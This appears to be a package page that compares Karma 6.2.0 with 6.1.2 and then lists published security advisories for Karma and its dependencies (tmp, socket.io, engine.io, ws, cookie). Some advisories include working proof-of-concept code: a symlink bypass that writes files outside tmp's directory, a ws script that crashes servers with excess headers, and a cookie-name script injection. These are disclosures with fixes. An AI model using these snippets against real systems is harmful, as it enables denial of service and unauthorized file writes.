Karma version 6.2.0 represents a minor update to the popular JavaScript test runner, building upon the foundation laid by version 6.1.2. While both versions share the same core dependencies, offering a consistent experience in terms of core functionalities like dependency injection (di), file system manipulation (tmp, glob, rimraf, graceful-fs), and web server capabilities (connect, socket.io, http-proxy), there are subtle differences that might sway developers to upgrade.
Looking closer, the unpacked size of version 6.2.0 is slightly bigger than the previous version indicating possible code expansion, bug fixes or new functionalities. Both versions share the same development dependencies (chai, mocha, eslint, etc.) showcasing a continued commitment to quality and developer tooling. This implies that the upgrade should be smooth without any surprise changes on the developer dependencies improving testing or code quality approaches.
Developers considering the upgrade should weigh the benefits of potential bug fixes and performance improvements in 6.2.0 against the stability of 6.1.2. The package size increase could hint at internal improvements or additions that enhance the testing experience. Given the frequent release cycle and the shared dependency structure, upgrading to 6.2.0 appears to be a low risk proposition for most Karma users. The later release date of version 6.2.0 demonstrates that it incorporates the latest refinements and optimizations, making it the preferred choice for new projects and existing projects seeking the most up-to-date version of Karma.
All the vulnerabilities related to the version 6.2.0 of the package
Cross-site Scripting in karma
karma prior to version 6.3.14 contains a cross-site scripting vulnerability.
Open redirect in karma
Karma before 6.3.16 is vulnerable to Open Redirect due to missing validation of the return_url query parameter.
tmp allows arbitrary temporary file / directory write via symbolic link dir
parameter
tmp@0.2.3
is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir
parameter.
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath
does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir
parameter points to a symlink that resolves to a folder outside the tmpDir
, it's possible to bypass the _assertIsRelative
check used in _assertAndSanitizeOptions
:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir
is possible.
Tested on a Linux machine.
tmpDir
that points to a directory outside of itmkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
ls -lha $HOME/mydir1 | grep "tmp-"
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
$HOME/mydir1
(outside the tmpDir
):ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
A Potential fix could be to call fs.realpathSync
(or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Arbitrary temporary file / directory write via symlink
socket.io has an unhandled 'error' event
A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.
node:events:502
throw err; // Unhandled 'error' event
^
Error [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)
at new NodeError (node:internal/errors:405:5)
at Socket.emit (node:events:500:17)
at /myapp/node_modules/socket.io/lib/socket.js:531:14
at process.processTicksAndRejections (node:internal/process/task_queues:77:11) {
code: 'ERR_UNHANDLED_ERROR',
context: undefined
}
| Version range | Needs minor update? |
|------------------|------------------------------------------------|
| 4.6.2...latest
| Nothing to do |
| 3.0.0...4.6.1
| Please upgrade to socket.io@4.6.2
(at least) |
| 2.3.0...2.5.0
| Please upgrade to socket.io@2.5.1
|
This issue is fixed by https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115, included in socket.io@4.6.2
(released in May 2023).
The fix was backported in the 2.x branch today: https://github.com/socketio/socket.io/commit/d30630ba10562bf987f4d2b42440fc41a828119c
As a workaround for the affected versions of the socket.io
package, you can attach a listener for the "error" event:
io.on("connection", (socket) => {
socket.on("error", () => {
// ...
});
});
If you have any questions or comments about this advisory:
Thanks a lot to Paul Taylor for the responsible disclosure.
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io
package, including those who uses depending packages like socket.io
.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y
| 3.6.1
|
| engine.io@6.x.y
| 6.2.1
|
For socket.io
users:
| Version range | engine.io
version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x
| ~6.2.0
| npm audit fix
should be sufficient |
| socket.io@4.4.x
| ~6.1.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.3.x
| ~6.0.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.2.x
| ~5.2.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.1.x
| ~5.1.1
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.0.x
| ~5.0.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@3.1.x
| ~4.1.0
| Please upgrade to socket.io@4.5.x
(see here) |
| socket.io@3.0.x
| ~4.0.0
| Please upgrade to socket.io@4.5.x
(see here) |
| socket.io@2.5.0
| ~3.6.0
| npm audit fix
should be sufficient |
| socket.io@2.4.x
and below | ~3.5.0
| Please upgrade to socket.io@2.5.0
|
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.io
Thanks to Jonathan Neve for the responsible disclosure.
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size
and/or the maxHeaderSize
options so that no more headers than the server.maxHeadersCount
limit can be sent.server.maxHeadersCount
to 0
so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value)
would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test"
, setting userName
cookie to <script>
and ignoring value
.
A similar escape can be used for path
and domain
, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name
, path
, and domain
.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.
Insufficient validation when decoding a Socket.IO packet
A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.
TypeError: Cannot convert object to primitive value
at Socket.emit (node:events:507:25)
at .../node_modules/socket.io/lib/socket.js:531:14
A fix has been released today (2023/05/22):
socket.io-parser@4.2.3
socket.io-parser@3.4.3
Another fix has been released for the 3.3.x
branch:
| socket.io
version | socket.io-parser
version | Needs minor update? |
|---------------------|---------------------------------------------------------------------------------------------------------|--------------------------------------|
| 4.5.2...latest
| ~4.2.0
(ref) | npm audit fix
should be sufficient |
| 4.1.3...4.5.1
| ~4.1.1
(ref) | Please upgrade to socket.io@4.6.x
|
| 3.0.5...4.1.2
| ~4.0.3
(ref) | Please upgrade to socket.io@4.6.x
|
| 3.0.0...3.0.4
| ~4.0.1
(ref) | Please upgrade to socket.io@4.6.x
|
| 2.3.0...2.5.0
| ~3.4.0
(ref) | npm audit fix
should be sufficient |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
Thanks to @rafax00 for the responsible disclosure.